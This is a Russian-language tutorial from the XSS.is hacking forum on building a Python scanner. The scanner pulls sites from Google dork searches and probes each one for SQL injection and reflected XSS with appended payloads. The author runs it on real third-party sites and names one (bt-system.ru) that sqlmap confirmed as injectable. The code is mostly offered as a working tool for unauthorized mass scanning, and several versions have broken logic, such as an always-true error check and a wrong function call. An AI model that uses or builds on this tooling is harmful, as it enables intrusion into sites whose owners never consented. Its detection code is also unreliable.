Пишем свой скрипт для поиска уязвимостей из гугл дорков

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: acc2ss
Специально для XSS.is (c)

Отдельно мне хотелось бы поблагодарить ice80 за поддержку.
Введение

Зачем? Что он будет делать? Таких штук полно, зачем еще? Эту статью я хочу сделать для тех, кому интересна внутренняя структура подобных софтов. Сегодня мы сделаем софт, который будет автоматически искать уязвимости на сайтах из гугл дорков. Тема конечно уже заезженная, но многим будет интересно как всё выглядит изнутри.
Google Dorks - это поисковые запросы, которые используют специальные операторы для поиска определенных типов информации. Эти операторы позволяют искать информацию, которая не может быть найдена с помощью обычных поисковых запросов.
примеры Google Dorks:

  • site:example.com intitle:admin - поиск сайтов, в заголовке которых есть слово "admin".
  • site:example.com inurl:login - поиск сайтов, в URL которых есть слово "login".
  • site:example.com intext:password - поиск сайтов, на которых есть слово "password".
Конечно, есть и многие другие дорки, но это уже немного другое. С помощью гугл дорков можно искать ссылки на админ-страницы, ссылки с файлами и многое другое.
Для начала нам нужно определится с тем, как всё будет работать.

Спойлер: Скрин
1706723312081.png

Что то такое у меня вышло. Сначала мы подключаемся к пк, далее идем на поиск гугл дорков, чекаем сайты, разделяем сайты на уязвимые и нет, записываем сайты в txt и начинаем действие заново.

Первый скрипт
Язык я выбрал python - кто бы что про него не говорил, но мне он нравится своей простАтой. Использовать мы будем request и bs4.
Первый скрипт будет самым простым - без прокси, загрузки txt и т.п. Просто вписываем в словарь дорки и проверяем на директиву Disallow. Почему именно это?
Директива Disallow используется в файле robots.txt для запрета поисковым системам индексировать определенные страницы или разделы сайта. Скрипт будет проверять Disallow, чтобы определить, есть ли на сайте страницы или разделы, которые могут быть скрыты от поисковых систем.

Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin

def search_sites(query, num_results=10):
    search_url = f'https://www.google.com/search?q={query}&num={num_results}'
    response = requests.get(search_url)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
                 soup.find_all('a', href=True) if 'url?q=' in a['href']]
        return links
    else:
        print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
        return []


def check_robots_txt(site_url):
    robots_url = f"{site_url}/robots.txt"
    response = requests.get(robots_url)

    if response.status_code == 200:
        return 'Disallow' in response.text
    else:
        print(f"Ошибка при получении robots.txt для {site_url}. Код состояния: {response.status_code}")
        return False


def main():
    query = input("Введите поисковый запрос: ")
    num_results = int(input("Введите количество результатов для проверки: "))

    sites = search_sites(query, num_results)

    for site_url in sites:
        if check_robots_txt(site_url):
            print(f"Сайт {site_url} уязвим (наличие Disallow в robots.txt)")
        else:
            print(f"Сайт {site_url} не найдено")


if __name__ == "__main__":
    main()
Спойлер: скрин
1706724994730.png

Посмотрим что и как работает в этом скрипте:
Функция search_sites:
  • search_sites выполняет поиск с использованием заданного запроса и количества результатов.
  • извлекает ссылки из результатов поиска и возвращает их в виде списка.
Функция check_robots_txt:
  • check_robots_txt проверяет наличие строки 'Disallow' в файле robots.txt для указанного сайта.
  • Если файл доступен и содержит 'Disallow', функция возвращает True, либо False.
  • В случае ошибки, выводится сообщение об ошибке.
Функция main:
  • main - основная функция, которая взаимодействует с пользователем.
  • запрашивает поисковый запрос и количество результатов
  • Затем она вызывает search_sites для получения списка сайтов и проходится по каждому сайту, вызывая check_robots_txt для проверки уязвимости.
В общей сумме имеем: скрипт выполняет поиск сайтов через Google, извлекает их URL-адреса, и затем проверяет наличие Disallow в файле robots.txt для каждого сайта.
Теперь рассмотрим что здесь нужно улучшить:

  • Скрипт проверяет абсолютно все url - нужно сделать исключения, например для google.com
  • Не используются прокси
  • Медленная скорость
И так, добавим исключения добавив функцию проверки.
Спойлер: Скрин
1706725486314.png

Здесь всё просто, создадим словарь domains и проверку домена по словарю.
Спойлер: Полный код
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin

domains = ['accounts.google.com', 'ru.wikipedia.org', 'www.google.com']

def search_sites(query, num_results=10):
    search_url = f'https://www.google.com/search?q={query}&num={num_results}'
    response = requests.get(search_url)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
                 soup.find_all('a', href=True) if 'url?q=' in a['href']]
        return links
    else:
        print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
        return []


def check_robots_txt(site_url):
    domain = site_url.split('//')[-1].split('/')[0]
    if domain in domains:
        print(f"Исключено: {site_url} (домен {domain} в списке исключений)")
        return False

    robots_url = f"{site_url}/robots.txt"
    response = requests.get(robots_url)

    if response.status_code == 200:
        return 'Disallow' in response.text
    else:
        print(f"Ошибка при получении robots.txt для {site_url}. Код состояния: {response.status_code}")
        return False


def main():
    query = input("Введите поисковый запрос: ")
    num_results = int(input("Введите количество результатов для проверки: "))

    sites = search_sites(query, num_results)

    for site_url in sites:
        if check_robots_txt(site_url):
            print(f"Сайт {site_url} найден Disallow в robots.txt)")
        else:
            print(f"Сайт {site_url} не найден Disallow")


if __name__ == "__main__":
    main()
За проверку отвечают 3 строки:
1706725639938.png


Все гениальное просто! Хоть и медленно...
Подведем промежуточный итог, что мы имеем на данном этапе:

  1. Список исключений
  2. Возможность выбора количества проверок
  3. Возможность добавления дорков
  4. Вывод данных
Я думаю что этот скрипт даже нельзя назвать скриптом для проверки уязвимостей, он этого просто не делает... Давайте напишем что то более крутое. Например для проверки на sql inj:
В этом случае нам нужно подставлять пэйлоад в url, и каким то образом проверять есть ли уязвимость. Я выбрал простой метод - проверка есть ли на сайте слово warning.

Спойлер: скрин
1706726780881.png

Спойлер: код
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin

domains = ['google.com', 'www.google.com', 'maps.google.com', 'ru.wikipedia.org', 'accounts.google.com']


def search_sites(query, num_results=10):
    search_url = f'https://www.google.com/search?q={query}&num={num_results}'
    response = requests.get(search_url)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
                 soup.find_all('a', href=True) if 'url?q=' in a['href']]
        return links
    else:
        print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
        return []


def check_sql_injection(site_url):
    payload = "'"
    target_url = f"{site_url}{payload}"

    response = requests.get(target_url)

    if "warning" in response.text.lower():
        print(f"Сайт {site_url} уязвим (SQL-инъекция: параметр {payload}, Warning обнаружено)")
        return True
    else:
        print(f"Сайт {site_url} не уязвим")
        return False


def main():
    query = input("Введите поисковый запрос: ")
    num_results = int(input("Введите количество результатов для проверки: "))

    sites = search_sites(query, num_results)

    for site_url in sites:
        domain = site_url.split('//')[-1].split('/')[0]
        if domain in domains:
            print(f"Исключено: {site_url} (домен {domain} в списке исключений)")
            continue


if __name__ == "__main__":
    main()
Пояснение к коду:
Функция check_sql_injection:
  • Функция check_sql_injection проверяет SQL-инъекцию, подставляя символ ' в параметр URL-адреса.
  • она проверяет, содержит ли ответ текст с надписью "Warning". Если обнаружено, выводится сообщение об уязвимости.
Уже более интересно, при ручной проверке из 10 сайтов скрипт определил правильно 3, некоторые были с ошибкой, но он их не определил - круто для 50 строк кода, да? На самом деле сделать более качественную проверку очень легко - можно подставить дополнительные слова для поиска на сайте(28 строка)
Но как обстоят дела с xss уязвимостями? Здесь на самом деле тоже ничего сложного, берем и ищем надпись от alert.

Спойлер: скрин
1706765374947.png

Спойлер: код
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin

domains = ['google.com', 'maps.google.com', 'www.google.com']

def search_sites(query, num_results=10):
search_url = f'https://www.google.com/search?q={query}&num={num_results}'
response = requests.get(search_url)

if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
soup.find_all('a', href=True) if 'url?q=' in a['href']]
return links
else:
print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
return []


def check_sql_injection(site_url):
payload = "<script>alert('XSS')</script>"
target_url = f"{site_url}{payload}"

response = requests.get(target_url)

if "XSS" in response.text:
print(f"Сайт {site_url} уязвим ({payload}, xss обнаружено)")
return True
else:
print(f"Сайт {site_url} не уязвим")
return False


def main():
query = input("Введите поисковый запрос: ")
num_results = int(input("Введите количество результатов для проверки: "))

sites = search_sites(query, num_results)

for site_url in sites:
domain = site_url.split('//')[-1].split('/')[0]
if domain in domains:
print(f"Исключено: {site_url} (домен {domain} в списке исключений)")
continue
if check_sql_injection(site_url):
pass

if __name__ == "__main__":
main()
Как вы видите я даже не стал менять названия функций(ну а зачем лишние телодвижения?)
На этом этапе можно делать прокси. Честно говоря работают они раз через раз, не могу понять с чем это связано, но кто знает напишите пожалуйста.

Спойлер: код
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin

domains = ['google.com', 'maps.google.com', 'www.google.com']

proxy_address = ''
proxy_username = ''
proxy_password = ''


def search_sites(query, num_results=10):
    search_url = f'https://www.google.com/search?q={query}&num={num_results}'

    proxies = {'http': proxy_address, 'https': proxy_address}
    response = requests.get(search_url, proxies=proxies, verify=False)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
                 soup.find_all('a', href=True) if 'url?q=' in a['href']]
        return links
    else:
        print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
        return []


def check_sql_injection(site_url):
    payload = "<script>alert('XSS')</script>"
    target_url = f"{site_url}{payload}"

    proxies = {'http': proxy_address, 'https': proxy_address}
    response = requests.get(target_url, proxies=proxies, verify=False)

    if "XSS" in response.text:
        print(f"Сайт {site_url} уязвим ({payload}, xss обнаружено)")
        return True
    else:
        print(f"Сайт {site_url} не уязвим")
        return False


def main():
    query = input("Введите поисковый запрос: ")
    num_results = int(input("Введите количество результатов для проверки: "))

    sites = search_sites(query, num_results)

    for site_url in sites:
        domain = site_url.split('//')[-1].split('/')[0]
        if domain in domains:
            print(f"Исключено: {site_url} (домен {domain} в списке исключений)")
            continue
    if check_sql_injection(site_url):
        pass

if __name__ == "__main__":
    main()
Подведем итог, что мы имеем:
1. Проверка на sql и xss уязвимость
2. работа через прокси(через раз, но работа)
Мне хотелось бы всё это дело улучшить, и вот что именно:

  • Запись в txt файл
  • Пропуск доменов из исключений
Начнем с записи гудов в txt. Делается это довольно легко, просто записываем уязвимый файл в txt:
Спойлер: код
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin

domains = ['google.com', 'www.google.com', 'maps.google.com', 'ru.wikipedia.org', 'accounts.google.com']

def search_sites(query, num_results=10):
    search_url = f'https://www.google.com/search?q={query}&num={num_results}'
    response = requests.get(search_url, verify=False)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
                 soup.find_all('a', href=True) if 'url?q=' in a['href']]
        return links
    else:
        print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
        return []

def check_sql_injection(site_url):
    payload = "'"
    target_url = f"{site_url}{payload}"

    response = requests.get(target_url, verify=False)

    if "warning" or "error" in response.text.lower():
        print(f"Сайт {site_url} уязвим (SQL-инъекция: параметр {payload}, Warning обнаружено)")
        return True
    else:
        print(f"Сайт {site_url} не уязвим")
        return False

def write_to_file(vulnerable_sites):
    with open('vulnerable_sites.txt', 'w') as file:
        for site in vulnerable_sites:
            file.write(site + '\n')

def main():
    query = input("Введите поисковый запрос: ")
    num_results = int(input("Введите количество результатов для проверки: "))

    sites = search_sites(query, num_results)
    vulnerable_sites = []

    for site_url in sites:
        domain = site_url.split('//')[-1].split('/')[0]
        if domain in domains:
            print(f"Исключено: {site_url} (домен {domain} в списке исключений)")
            continue

        if check_sql_injection(site_url):
            vulnerable_sites.append(site_url)

    write_to_file(vulnerable_sites)

if __name__ == "__main__":
    main()
Так же в этом коде исправлено:
  • Остановка проверки из за неверного сертификата сайта
  • Добавлена еще одна ошибка
Спойлер: скрин
1706768014948.png


1706768035950.png

Как вы можете увидеть по скрину, в наш файл записываются сайты где уязвимости которую мы ищем просто не может быть. Связано это с тем, что мы ищем на сайте слова ошибок.
Теперь можно добавить пропуск доменов из исключений, т.к они тоже считаются в проверенные сайты. Так же будем записывать домены из исключений в отдельный файл.

Спойлер: код
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin

domains = ['google.com', 'www.google.com', 'maps.google.com', 'ru.wikipedia.org', 'accounts.google.com', 'github.com', 'support.google.com']

def search_sites(query, num_results=10):
    search_url = f'https://www.google.com/search?q={query}&num={num_results}'
    response = requests.get(search_url, verify=False)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
                 soup.find_all('a', href=True) if 'url?q=' in a['href']]
        return links
    else:
        print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
        return []

def check_sql_injection(site_url):
    payload = "'"
    target_url = f"{site_url}{payload}"

    response = requests.get(target_url, verify=False)

    if "warning" or "error" in response.text.lower():
        print(f"Сайт {site_url} уязвим (SQL-инъекция: параметр {payload}, Warning обнаружено)")
        return True
    else:
        print(f"Сайт {site_url} не уязвим")
        return False

def write_to_file(sites, filename):
    with open(filename, 'w') as file:
        for site in sites:
            file.write(site + '\n')

def main():
    query = input("Введите поисковый запрос: ")
    num_results = int(input("Введите количество результатов для проверки: "))

    sites = search_sites(query, num_results)
    vulnerable_sites = []
    excluded_sites = []

    for site_url in sites:
        domain = site_url.split('//')[-1].split('/')[0]
        if domain in domains:
            excluded_sites.append(site_url)
            print(f"Исключено: {site_url} (домен {domain} в списке исключений)")
            continue

        if check_sql_injection(site_url):
            vulnerable_sites.append(site_url)

    write_to_file(vulnerable_sites, 'vulnerable_sites.txt')
   
    write_to_file(excluded_sites, 'excluded_sites.txt')

if __name__ == "__main__":
    main()
Спойлер: скрин
1706768555074.png


1706768564094.png

Отлично! Теперь сайты из исключений не идут в счет и записываются в отдельный файл.
И так, вроде всё написано и работает. Конечно этот скрипт можно сделать более продвинутым(чем я скорее всего и займусь в следующей статье)

Тестируем скрипт на практике.
И так, теперь нам нужно проверить полезность скрипта, проверив его на практике. Использовать я буду версию с sql проверкой, что бы использовать sqlmap.
Используемый дорк - inurl:product-list.php?id= количество сайтов для проверки - 20
Запускаем скрипт и ждем пока закончится проверка. Мне выдало список из 10 сайтов с уязвимостями

Спойлер: скрин
1706769571669.png

Выберу любой, пусть это будет http://bt-system.ru/product.list.php?group_id=185 запускаем sqlmap и видим положительный результат:
Спойлер: скрин
1706769613864.png

Продолжать я не буду, т.к для примера этого более чем достаточно.
Немного дорабатываем скрипт
Я думаю что не удобно добавлять сайты для исключения через сам скрипт, давайте сделаем добавления из файла(построчно):
Спойлер: код
Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
from urllib.parse import unquote, urljoin


def read_domains_from_file():
    with open('excluded_domains.txt', 'r') as file:
        domains = [line.strip() for line in file.readlines()]
    return domains


def search_sites(query, num_results=10):
    search_url = f'https://www.google.com/search?q={query}&num={num_results}'
    response = requests.get(search_url, verify=False)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = [unquote(urljoin('https://www.google.com', a['href'].split('q=')[1].split('&')[0])) for a in
                 soup.find_all('a', href=True) if 'url?q=' in a['href']]
        return links
    else:
        print(f"Ошибка при выполнении поиска. Код состояния: {response.status_code}")
        return []


def check_sql_injection(site_url):
    payload = "'"
    target_url = f"{site_url}{payload}"

    response = requests.get(target_url, verify=False)

    if "warning" or "error" in response.text.lower():
        print(f"Сайт {site_url} уязвим (SQL-инъекция: параметр {payload}, Warning обнаружено)")
        return True
    else:
        print(f"Сайт {site_url} не уязвим")
        return False


def write_to_file(sites, filename):
    with open(filename, 'w') as file:
        for site in sites:
            file.write(site + '\n')


def main():
    query = input("Введите поисковый запрос: ")
    num_results = int(input("Введите количество результатов для проверки: "))

    excluded_domains = read_domains_from_file('excluded_domains.txt')

    sites = search_sites(query, num_results)
    vulnerable_sites = []
    excluded_sites = []

    for site_url in sites:
        domain = site_url.split('//')[-1].split('/')[0]
        if domain in excluded_domains:
            excluded_sites.append(site_url)
            print(f"Исключено: {site_url} (домен {domain} в списке исключений)")
            continue

        if check_sql_injection(site_url):
            vulnerable_sites.append(site_url)

    write_to_file(vulnerable_sites, 'vulnerable_sites.txt')

    write_to_file(excluded_sites, 'excluded_sites.txt')


if __name__ == "__main__":
    main()
Так должны выглядеть сайты в файле:
Спойлер: скрин
1706770076851.png


Заключение
Самому скрипту нужна доработка, т.к работает он не во всех случаях правильно, и иногда выдает сайты без уязвимостей. Немного о дорках:
Google Dorks - довольно хороший инструмент, который можно использовать для поиска сайтов, которые могут быть уязвимы.
Разновидности дорков:

  • Ссылки на административные страницы
  • Ссылки на страницы, содержащие пароли, номера карт и т.п
  • Ссылки на страницы входа
Что делать дальше? Скрипт можно доработать до автоматической проверки на все уязвимости, добавить асинхронность, проверку сразу нескольких дорков и многое другое. Если статья будет полезной, то этот функционал я добавлю в следующей статье.
Для тех кому статья была полезна и хотят отблагодарить:
BTC: bc1qnhu6nfawzx9crfr3vvr65zrjdjrz3et7qajd4e
USDT trc20: TNjxY6W1buZWP47WFi8BMXKhKaUr4U5hTi
ETH: 0x56e3B38340d68004d998f38416b634f2D69C2Fbe
 
Сверху Снизу